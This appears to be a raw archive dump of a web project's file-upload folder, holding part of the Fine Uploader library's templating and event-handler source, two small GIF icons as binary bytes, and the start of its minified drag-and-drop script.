{\n                scriptEl = document.getElementById(options.templateIdOrEl);\n\n                if (scriptEl === null) {\n                    throw new Error(qq.format(\"Cannot find template script at ID '{}'!\", options.templateIdOrEl));\n                }\n\n                scriptHtml = scriptEl.innerHTML;\n            }\n            else {\n                if (options.templateIdOrEl.innerHTML === undefined) {\n                    throw new Error(\"You have specified an invalid value for the template option!  \" +\n                        \"It must be an ID or an Element.\");\n                }\n\n                scriptHtml = options.templateIdOrEl.innerHTML;\n            }\n\n            scriptHtml = qq.trimStr(scriptHtml);\n            tempTemplateEl = document.createElement(\"div\");\n            tempTemplateEl.appendChild(qq.toElement(scriptHtml));\n            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);\n\n            // Don't include the default template button in the DOM\n            // if an alternate button container has been specified.\n            if (options.button) {\n                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);\n                if (defaultButton) {\n                    qq(defaultButton).remove();\n                }\n            }\n\n            // Omit the drop processing element from the DOM if DnD is not supported by the UA,\n            // or the drag and drop module is not found.\n            // NOTE: We are consciously not removing the drop zone if the UA doesn't support DnD\n            // to support layouts where the drop zone is also a container for visible elements,\n            // such as the file list.\n            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {\n                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);\n                if (dropProcessing) {\n                    qq(dropProcessing).remove();\n                }\n            }\n\n            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);\n\n            // If DnD is not available then remove\n            // it from the DOM as well.\n            if (dropArea && !qq.DragAndDrop) {\n                log(\"DnD module unavailable.\", \"info\");\n                qq(dropArea).remove();\n            }\n\n            if (!qq.supportedFeatures.fileDrop) {\n                // don't display any \"drop files to upload\" background text\n                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {\n                    // If there is a drop area defined in the template, and the current UA doesn't support DnD,\n                    // and the drop area is marked as \"hide before enter\", ensure it is hidden as the DnD module\n                    // will not do this (since we will not be loading the DnD module)\n                    qq(dropArea).css({\n                        display: \"none\"\n                    });\n                }\n            }\n            else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {\n                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);\n                dropTextEl && qq(dropTextEl).remove();\n            }\n\n            // Ensure the `showThumbnails` flag is only set if the thumbnail element\n            // is present in the template AND the current UA is capable of generating client-side previews.\n            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);\n            if (!showThumbnails) {\n                thumbnail && qq(thumbnail).remove();\n            }\n            else if (thumbnail) {\n                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));\n                // Only enforce max size if the attr value is non-zero\n                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;\n\n                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);\n            }\n            showThumbnails = showThumbnails && thumbnail;\n\n            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;\n            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;\n\n            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);\n            /*jshint -W116*/\n            if (fileListNode == null) {\n                throw new Error(\"Could not find the file list container in the template!\");\n            }\n\n            fileListHtml = fileListNode.innerHTML;\n            fileListNode.innerHTML = \"\";\n\n            // We must call `createElement` in IE8 in order to target and hide any <dialog> via CSS\n            if (tempTemplateEl.getElementsByTagName(\"DIALOG\").length) {\n                document.createElement(\"dialog\");\n            }\n\n            log(\"Template parsing complete\");\n\n            return {\n                template: qq.trimStr(tempTemplateEl.innerHTML),\n                fileTemplate: qq.trimStr(fileListHtml)\n            };\n        },\n\n        prependFile = function(el, index, fileList) {\n            var parentEl = fileList,\n                beforeEl = parentEl.firstChild;\n\n            if (index > 0) {\n                beforeEl = qq(parentEl).children()[index].nextSibling;\n\n            }\n\n            parentEl.insertBefore(el, beforeEl);\n        },\n\n        processNewQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                optFileOrBlob = queuedThumbRequest.optFileOrBlob,\n                relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    maxSize: thumbnailMaxSize,\n                    orient: true,\n                    scale: true\n                };\n\n            if (qq.supportedFeatures.imagePreviews) {\n                if (thumbnail) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        displayWaitingImg(thumbnail).done(function() {\n                            previewGeneration[id] = new qq.Promise();\n\n                            previewGeneration[id].done(function() {\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            });\n\n                            /* jshint eqnull: true */\n                            // If we've already generated an <img> for this file, use the one that exists,\n                            // don't waste resources generating a new one.\n                            if (relatedThumbnailId != null) {\n                                useCachedPreview(id, relatedThumbnailId);\n                            }\n                            else {\n                                generateNewPreview(id, optFileOrBlob, spec);\n                            }\n                        });\n                    }\n                }\n                // File element in template may have been removed, so move on to next item in queue\n                else {\n                    generateNextQueuedPreview();\n                }\n            }\n            else if (thumbnail) {\n                displayWaitingImg(thumbnail);\n                generateNextQueuedPreview();\n            }\n        },\n\n        processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                thumbnailUrl = queuedThumbRequest.thumbnailUrl,\n                showWaitingImg = queuedThumbRequest.showWaitingImg,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    scale: serverScale,\n                    maxSize: thumbnailMaxSize\n                };\n\n            if (thumbnail) {\n                if (thumbnailUrl) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        if (showWaitingImg) {\n                            displayWaitingImg(thumbnail);\n                        }\n\n                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(\n                            function() {\n                                show(thumbnail);\n                                generatedThumbnails++;\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            },\n\n                            function() {\n                                maybeSetDisplayNotAvailableImg(id, thumbnail);\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            }\n                        );\n                    }\n                }\n                else {\n                    maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    generateNextQueuedPreview();\n                }\n            }\n        },\n\n        setProgressBarWidth = function(id, percent) {\n            var bar = getProgress(id),\n                /* jshint eqnull:true */\n                progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;\n\n            if (bar && !qq(bar).hasClass(progressBarSelector)) {\n                bar = qq(bar).getFirstByClass(progressBarSelector);\n            }\n\n            if (bar) {\n                qq(bar).css({width: percent + \"%\"});\n                bar.setAttribute(\"aria-valuenow\", percent);\n            }\n        },\n\n        show = function(el) {\n            el && qq(el).removeClass(options.classes.hide);\n        },\n\n        useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {\n            var targetThumbnail = getThumbnail(targetThumbnailId),\n                cachedThumbnail = getThumbnail(cachedThumbnailId);\n\n            log(qq.format(\"ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.\", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));\n\n            // Generation of the related thumbnail may still be in progress, so, wait until it is done.\n            previewGeneration[cachedThumbnailId].then(function() {\n                generatedThumbnails++;\n                previewGeneration[targetThumbnailId].success();\n                log(qq.format(\"Now using previously generated thumbnail created for ID {} on ID {}.\", cachedThumbnailId, targetThumbnailId));\n                targetThumbnail.src = cachedThumbnail.src;\n                show(targetThumbnail);\n            },\n            function() {\n                previewGeneration[targetThumbnailId].failure();\n                if (!options.placeholders.waitUntilUpdate) {\n                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);\n                }\n            });\n        };\n\n    qq.extend(options, spec);\n    log = options.log;\n\n    // No need to worry about conserving CPU or memory on older browsers,\n    // since there is no ability to preview, and thumbnail display is primitive and quick.\n    if (!qq.supportedFeatures.imagePreviews) {\n        options.limits.timeBetweenThumbs = 0;\n        options.limits.maxThumbs = 0;\n    }\n\n    container = options.containerEl;\n    showThumbnails = options.imageGenerator !== undefined;\n    templateHtml = parseAndGetTemplate();\n\n    cacheThumbnailPlaceholders();\n\n    qq.extend(this, {\n        render: function() {\n            log(\"Rendering template in DOM.\");\n\n            generatedThumbnails = 0;\n\n            container.innerHTML = templateHtml.template;\n            hide(getDropProcessing());\n            this.hideTotalProgress();\n            fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);\n\n            log(\"Template rendering complete\");\n        },\n\n        renderFailure: function(message) {\n            var cantRenderEl = qq.toElement(message);\n            container.innerHTML = \"\";\n            container.appendChild(cantRenderEl);\n        },\n\n        reset: function() {\n            this.render();\n        },\n\n        clearFiles: function() {\n            fileList.innerHTML = \"\";\n        },\n\n        disableCancel: function() {\n            isCancelDisabled = true;\n        },\n\n        addFile: function(id, name, prependInfo, hideForever, batch) {\n            var fileEl = qq.toElement(templateHtml.fileTemplate),\n                fileNameEl = getTemplateEl(fileEl, selectorClasses.file),\n                uploaderEl = getTemplateEl(container, selectorClasses.uploader),\n                fileContainer = batch ? fileBatch.content : fileList,\n                thumb;\n\n            if (batch) {\n                fileBatch.map[id] = fileEl;\n            }\n\n            qq(fileEl).addClass(FILE_CLASS_PREFIX + id);\n            uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n            if (fileNameEl) {\n                qq(fileNameEl).setText(name);\n                fileNameEl.setAttribute(\"title\", name);\n            }\n\n            fileEl.setAttribute(FILE_ID_ATTR, id);\n\n            if (prependInfo) {\n                prependFile(fileEl, prependInfo.index, fileContainer);\n            }\n            else {\n                fileContainer.appendChild(fileEl);\n            }\n\n            if (hideForever) {\n                fileEl.style.display = \"none\";\n                qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);\n            }\n            else {\n                hide(getProgress(id));\n                hide(getSize(id));\n                hide(getDelete(id));\n                hide(getRetry(id));\n                hide(getPause(id));\n                hide(getContinue(id));\n\n                if (isCancelDisabled) {\n                    this.hideCancel(id);\n                }\n\n                thumb = getThumbnail(id);\n                if (thumb && !thumb.src) {\n                    cachedWaitingForThumbnailImg.then(function(waitingImg) {\n                        thumb.src = waitingImg.src;\n                        if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {\n                            qq(thumb).css({\n                                maxHeight: waitingImg.style.maxHeight,\n                                maxWidth: waitingImg.style.maxWidth\n                            });\n                        }\n\n                        show(thumb);\n                    });\n                }\n            }\n        },\n\n        addFileToCache: function(id, name, prependInfo, hideForever) {\n            this.addFile(id, name, prependInfo, hideForever, true);\n        },\n\n        addCacheToDom: function() {\n            fileList.appendChild(fileBatch.content);\n            fileBatch.content = document.createDocumentFragment();\n            fileBatch.map = {};\n        },\n\n        removeFile: function(id) {\n            qq(getFile(id)).remove();\n        },\n\n        getFileId: function(el) {\n            var currentNode = el;\n\n            if (currentNode) {\n                /*jshint -W116*/\n                while (currentNode.getAttribute(FILE_ID_ATTR) == null) {\n                    currentNode = currentNode.parentNode;\n                }\n\n                return parseInt(currentNode.getAttribute(FILE_ID_ATTR));\n            }\n        },\n\n        getFileList: function() {\n            return fileList;\n        },\n\n        markFilenameEditable: function(id) {\n            var filename = getFilename(id);\n\n            filename && qq(filename).addClass(options.classes.editable);\n        },\n\n        updateFilename: function(id, name) {\n            var filenameEl = getFilename(id);\n\n            if (filenameEl) {\n                qq(filenameEl).setText(name);\n                filenameEl.setAttribute(\"title\", name);\n            }\n        },\n\n        hideFilename: function(id) {\n            hide(getFilename(id));\n        },\n\n        showFilename: function(id) {\n            show(getFilename(id));\n        },\n\n        isFileName: function(el) {\n            return qq(el).hasClass(selectorClasses.file);\n        },\n\n        getButton: function() {\n            return options.button || getTemplateEl(container, selectorClasses.button);\n        },\n\n        hideDropProcessing: function() {\n            hide(getDropProcessing());\n        },\n\n        showDropProcessing: function() {\n            show(getDropProcessing());\n        },\n\n        getDropZone: function() {\n            return getTemplateEl(container, selectorClasses.drop);\n        },\n\n        isEditFilenamePossible: function() {\n            return isEditElementsExist;\n        },\n\n        hideRetry: function(id) {\n            hide(getRetry(id));\n        },\n\n        isRetryPossible: function() {\n            return isRetryElementExist;\n        },\n\n        showRetry: function(id) {\n            show(getRetry(id));\n        },\n\n        getFileContainer: function(id) {\n            return getFile(id);\n        },\n\n        showEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).addClass(options.classes.editable);\n        },\n\n        isHiddenForever: function(id) {\n            return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);\n        },\n\n        hideEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).removeClass(options.classes.editable);\n        },\n\n        isEditIcon: function(el) {\n            return qq(el).hasClass(selectorClasses.editNameIcon, true);\n        },\n\n        getEditInput: function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);\n        },\n\n        isEditInput: function(el) {\n            return qq(el).hasClass(selectorClasses.editFilenameInput, true);\n        },\n\n        updateProgress: function(id, loaded, total) {\n            var bar = getProgress(id),\n                percent;\n\n            if (bar && total > 0) {\n                percent = Math.round(loaded / total * 100);\n\n                if (percent === 100) {\n                    hide(bar);\n                }\n                else {\n                    show(bar);\n                }\n\n                setProgressBarWidth(id, percent);\n            }\n        },\n\n        updateTotalProgress: function(loaded, total) {\n            this.updateProgress(null, loaded, total);\n        },\n\n        hideProgress: function(id) {\n            var bar = getProgress(id);\n\n            bar && hide(bar);\n        },\n\n        hideTotalProgress: function() {\n            this.hideProgress();\n        },\n\n        resetProgress: function(id) {\n            setProgressBarWidth(id, 0);\n            this.hideTotalProgress(id);\n        },\n\n        resetTotalProgress: function() {\n            this.resetProgress();\n        },\n\n        showCancel: function(id) {\n            if (!isCancelDisabled) {\n                var cancel = getCancel(id);\n\n                cancel && qq(cancel).removeClass(options.classes.hide);\n            }\n        },\n\n        hideCancel: function(id) {\n            hide(getCancel(id));\n        },\n\n        isCancel: function(el)  {\n            return qq(el).hasClass(selectorClasses.cancel, true);\n        },\n\n        allowPause: function(id) {\n            show(getPause(id));\n            hide(getContinue(id));\n        },\n\n        uploadPaused: function(id) {\n            this.setStatusText(id, options.text.paused);\n            this.allowContinueButton(id);\n            hide(getSpinner(id));\n        },\n\n        hidePause: function(id) {\n            hide(getPause(id));\n        },\n\n        isPause: function(el) {\n            return qq(el).hasClass(selectorClasses.pause, true);\n        },\n\n        isContinueButton: function(el) {\n            return qq(el).hasClass(selectorClasses.continueButton, true);\n        },\n\n        allowContinueButton: function(id) {\n            show(getContinue(id));\n            hide(getPause(id));\n        },\n\n        uploadContinued: function(id) {\n            this.setStatusText(id, \"\");\n            this.allowPause(id);\n            show(getSpinner(id));\n        },\n\n        showDeleteButton: function(id) {\n            show(getDelete(id));\n        },\n\n        hideDeleteButton: function(id) {\n            hide(getDelete(id));\n        },\n\n        isDeleteButton: function(el) {\n            return qq(el).hasClass(selectorClasses.deleteButton, true);\n        },\n\n        isRetry: function(el) {\n            return qq(el).hasClass(selectorClasses.retry, true);\n        },\n\n        updateSize: function(id, text) {\n            var size = getSize(id);\n\n            if (size) {\n                show(size);\n                qq(size).setText(text);\n            }\n        },\n\n        setStatusText: function(id, text) {\n            var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);\n\n            if (textEl) {\n                /*jshint -W116*/\n                if (text == null) {\n                    qq(textEl).clearText();\n                }\n                else {\n                    qq(textEl).setText(text);\n                }\n            }\n        },\n\n        hideSpinner: function(id) {\n            qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);\n            hide(getSpinner(id));\n        },\n\n        showSpinner: function(id) {\n            qq(getFile(id)).addClass(IN_PROGRESS_CLASS);\n            show(getSpinner(id));\n        },\n\n        generatePreview: function(id, optFileOrBlob, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({id: id, customResizeFunction: customResizeFunction, optFileOrBlob: optFileOrBlob});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({customResizeFunction: customResizeFunction, update: true, id: id, thumbnailUrl: thumbnailUrl, showWaitingImg: showWaitingImg});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        hasDialog: function(type) {\n            return qq.supportedFeatures.dialogElement && !!getDialog(type);\n        },\n\n        showDialog: function(type, message, defaultValue) {\n            var dialog = getDialog(type),\n                messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage),\n                inputEl = dialog.getElementsByTagName(\"INPUT\")[0],\n                cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton),\n                okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton),\n                promise = new qq.Promise(),\n\n                closeHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    okBtn && okBtn.removeEventListener(\"click\", okClickHandler);\n                    promise.failure();\n                },\n\n                cancelClickHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    dialog.close();\n                },\n\n                okClickHandler = function() {\n                    dialog.removeEventListener(\"close\", closeHandler);\n                    okBtn.removeEventListener(\"click\", okClickHandler);\n                    dialog.close();\n\n                    promise.success(inputEl && inputEl.value);\n                };\n\n            dialog.addEventListener(\"close\", closeHandler);\n            cancelBtn.addEventListener(\"click\", cancelClickHandler);\n            okBtn && okBtn.addEventListener(\"click\", okClickHandler);\n\n            if (inputEl) {\n                inputEl.value = defaultValue;\n            }\n            messageEl.textContent = message;\n\n            dialog.showModal();\n\n            return promise;\n        }\n    });\n};\n","/*globals qq */\n// Base handler for UI (FineUploader mode) events.\n// Some more specific handlers inherit from this one.\nqq.UiEventHandler = function(s, protectedApi) {\n    \"use strict\";\n\n    var disposer = new qq.DisposeSupport(),\n        spec = {\n            eventType: \"click\",\n            attachTo: null,\n            onHandled: function(target, event) {}\n        };\n\n    // This makes up the \"public\" API methods that will be accessible\n    // to instances constructing a base or child handler\n    qq.extend(this, {\n        addHandler: function(element) {\n            addHandler(element);\n        },\n\n        dispose: function() {\n            disposer.dispose();\n        }\n    });\n\n    function addHandler(element) {\n        disposer.attach(element, spec.eventType, function(event) {\n            // Only in IE: the `event` is a property of the `window`.\n            event = event || window.event;\n\n            // On older browsers, we must check the `srcElement` instead of the `target`.\n            var target = event.target || event.srcElement;\n\n            spec.onHandled(target, event);\n        });\n    }\n\n    // These make up the \"protected\" API methods that children of this base handler will utilize.\n    qq.extend(protectedApi, {\n        getFileIdFromItem: function(item) {\n            return item.qqFileId;\n        },\n\n        getDisposeSupport: function() {\n            return disposer;\n        }\n    });\n\n    qq.extend(spec, s);\n\n    if (spec.attachTo) {\n        addHandler(spec.attachTo);\n    }\n};\n","/* global qq */\nqq.FileButtonsClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onDeleteFile: function(fileId) {},\n            onCancel: function(fileId) {},\n            onRetry: function(fileId) {},\n            onPause: function(fileId) {},\n            onContinue: function(fileId) {},\n            onGetName: function(fileId) {}\n        },\n        buttonHandlers = {\n            cancel: function(id) { spec.onCancel(id); },\n            retry:  function(id) { spec.onRetry(id); },\n            deleteButton: function(id) { spec.onDeleteFile(id); },\n            pause: function(id) { spec.onPause(id); },\n            continueButton: function(id) { spec.onContinue(id); }\n        };\n\n    function examineEvent(target, event) {\n        qq.each(buttonHandlers, function(buttonType, handler) {\n            var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1),\n                fileId;\n\n            if (spec.templating[\"is\" + firstLetterCapButtonType](target)) {\n                fileId = spec.templating.getFileId(target);\n                qq.preventDefault(event);\n                spec.log(qq.format(\"Detected valid file button click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                handler(fileId);\n                return false;\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect click events on filename display elements.\nqq.FilenameClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            classes: {\n                file: \"qq-upload-file\",\n                editNameIcon: \"qq-edit-filename-icon\"\n            },\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {}\n        };\n\n    qq.extend(spec, s);\n\n    // This will be called by the parent handler when a `click` event is received on the list element.\n    function examineEvent(target, event) {\n        if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            // We only allow users to change filenames of files that have been submitted but not yet uploaded.\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                qq.preventDefault(event);\n\n                inheritedInternalApi.handleFilenameEdit(fileId, target, true);\n            }\n        }\n    }\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect focusin events on file edit input elements.\nqq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            onGetUploadStatus: function(fileId) {},\n            log: function(message, lvl) {}\n        };\n\n    if (!inheritedInternalApi) {\n        inheritedInternalApi = {};\n    }\n\n    // This will be called by the parent handler when a `focusin` event is received on the list element.\n    function handleInputFocus(target, event) {\n        if (spec.templating.isEditInput(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename input focus event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                inheritedInternalApi.handleFilenameEdit(fileId, target);\n            }\n        }\n    }\n\n    spec.eventType = \"focusin\";\n    spec.onHandled = handleInputFocus;\n\n    qq.extend(spec, s);\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n/**\n * Child of FilenameInputFocusInHandler.  Used to detect focus events on file edit input elements.  This child module is only\n * needed for UAs that do not support the focusin event.  Currently, only Firefox lacks this event.\n *\n * @param spec Overrides for default specifications\n */\nqq.FilenameInputFocusHandler = function(spec) {\n    \"use strict\";\n\n    spec.eventType = \"focus\";\n    spec.attachTo = null;\n\n    qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));\n};\n","/*globals qq */\n// Handles edit-related events on a file item (FineUploader mode).  This is meant to be a parent handler.\n// Children will delegate to this handler when specific edit-related actions are detected.\nqq.FilenameEditHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {},\n            onSetName: function(fileId, newName) {},\n            onEditingStatusChange: function(fileId, isEditing) {}\n        };\n\n    function getFilenameSansExtension(fileId) {\n        var filenameSansExt = spec.onGetName(fileId),\n            extIdx = filenameSansExt.lastIndexOf(\".\");\n\n        if (extIdx > 0) {\n            filenameSansExt = filenameSansExt.substr(0, extIdx);\n        }\n\n        return filenameSansExt;\n    }\n\n    function getOriginalExtension(fileId) {\n        var origName = spec.onGetName(fileId);\n        return qq.getExtension(origName);\n    }\n\n    // Callback iff the name has been changed\n    function handleNameUpdate(newFilenameInputEl, fileId) {\n        var newName = newFilenameInputEl.value,\n            origExtension;\n\n        if (newName !== undefined && qq.trimStr(newName).length > 0) {\n            origExtension = getOriginalExtension(fileId);\n\n            if (origExtension !== undefined) {\n                newName = newName + \".\" + origExtension;\n            }\n\n            spec.onSetName(fileId, newName);\n        }\n\n        spec.onEditingStatusChange(fileId, false);\n    }\n\n    // The name has been updated if the filename edit input loses focus.\n    function registerInputBlurHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"blur\", function() {\n            handleNameUpdate(inputEl, fileId);\n        });\n    }\n\n    // The name has been updated if the user presses enter.\n    function registerInputEnterKeyHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"keyup\", function(event) {\n\n            var code = event.keyCode || event.which;\n\n            if (code === 13) {\n                handleNameUpdate(inputEl, fileId);\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n\n    qq.extend(inheritedInternalApi, {\n        handleFilenameEdit: function(id, target, focusInput) {\n            var newFilenameInputEl = spec.templating.getEditInput(id);\n\n            spec.onEditingStatusChange(id, true);\n\n            newFilenameInputEl.value = getFilenameSansExtension(id);\n\n            if (focusInput) {\n                newFilenameInputEl.focus();\n            }\n\n            registerInputBlurHandler(newFilenameInputEl, id);\n            registerInputEnterKeyHandler(newFilenameInputEl, id);\n        }\n    });\n};\n"]}js/fileupload/trash.gif000060400000000237150710775200011116 0ustar00GIF89a�MMM�����ٿ�����YYY���sss������fff333���!�,L��i����/��^iz���l�`'o�h��K�1E"��-�B�cDw��/�,N�P	�Z�:�R{2e�z�bD;js/fileupload/continue.gif000060400000000335150710775200011620 0ustar00GIF89a���畕����������������ffe}}}���ZZY���NNM���qqqBBA���!�,Z $�F�,"0���30�⼇��o3"�o���jTp8����������ZoK�H��F���Jx@!��`�H��#i��xͫX0k^&V!;js/fileupload/dnd.min.js000060400000044212150710775200011174 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
!function(global){var qq=function(e){"use strict";return{hide:function(){return e.style.display="none",this},attach:function(n,t){return e.addEventListener?e.addEventListener(n,t,!1):e.attachEvent&&e.attachEvent("on"+n,t),function(){qq(e).detach(n,t)}},detach:function(n,t){return e.removeEventListener?e.removeEventListener(n,t,!1):e.attachEvent&&e.detachEvent("on"+n,t),this},contains:function(n){return!!n&&(e===n||(e.contains?e.contains(n):!!(8&n.compareDocumentPosition(e))))},insertBefore:function(n){return n.parentNode.insertBefore(e,n),this},remove:function(){return e.parentNode.removeChild(e),this},css:function(n){if(null==e.style)throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");return null!=n.opacity&&"string"!=typeof e.style.opacity&&"undefined"!=typeof e.filters&&(n.filter="alpha(opacity="+Math.round(100*n.opacity)+")"),qq.extend(e.style,n),this},hasClass:function(n,t){var r=new RegExp("(^| )"+n+"( |$)");return r.test(e.className)||!(!t||!r.test(e.parentNode.className))},addClass:function(n){return qq(e).hasClass(n)||(e.className+=" "+n),this},removeClass:function(n){var t=new RegExp("(^| )"+n+"( |$)");return e.className=e.className.replace(t," ").replace(/^\s+|\s+$/g,""),this},getByClass:function(n,t){var r,o=[];return t&&e.querySelector?e.querySelector("."+n):e.querySelectorAll?e.querySelectorAll("."+n):(r=e.getElementsByTagName("*"),qq.each(r,function(e,t){qq(t).hasClass(n)&&o.push(t)}),t?o[0]:o)},getFirstByClass:function(n){return qq(e).getByClass(n,!0)},children:function(){for(var n=[],t=e.firstChild;t;)1===t.nodeType&&n.push(t),t=t.nextSibling;return n},setText:function(n){return e.innerText=n,e.textContent=n,this},clearText:function(){return qq(e).setText("")},hasAttribute:function(n){var t;return e.hasAttribute?!!e.hasAttribute(n)&&null==/^false$/i.exec(e.getAttribute(n)):(t=e[n],void 0!==t&&null==/^false$/i.exec(t))}}};!function(){"use strict";qq.canvasToBlob=function(e,n,t){return qq.dataUriToBlob(e.toDataURL(n,t))},qq.dataUriToBlob=function(e){var n,t,r,o,i=function(e,n){var t=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,r=t&&new t;return r?(r.append(e),r.getBlob(n)):new Blob([e],{type:n})};return t=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),o=e.split(",")[0].split(":")[1].split(";")[0],n=new ArrayBuffer(t.length),r=new Uint8Array(n),qq.each(t,function(e,n){r[e]=n.charCodeAt(0)}),i(n,o)},qq.log=function(e,n){window.console&&(n&&"info"!==n?window.console[n]?window.console[n](e):window.console.log("<"+n+"> "+e):window.console.log(e))},qq.isObject=function(e){return e&&!e.nodeType&&"[object Object]"===Object.prototype.toString.call(e)},qq.isFunction=function(e){return"function"==typeof e},qq.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)||e&&window.ArrayBuffer&&e.buffer&&e.buffer.constructor===ArrayBuffer},qq.isItemList=function(e){return"[object DataTransferItemList]"===Object.prototype.toString.call(e)},qq.isNodeList=function(e){return"[object NodeList]"===Object.prototype.toString.call(e)||e.item&&e.namedItem},qq.isString=function(e){return"[object String]"===Object.prototype.toString.call(e)},qq.trimStr=function(e){return 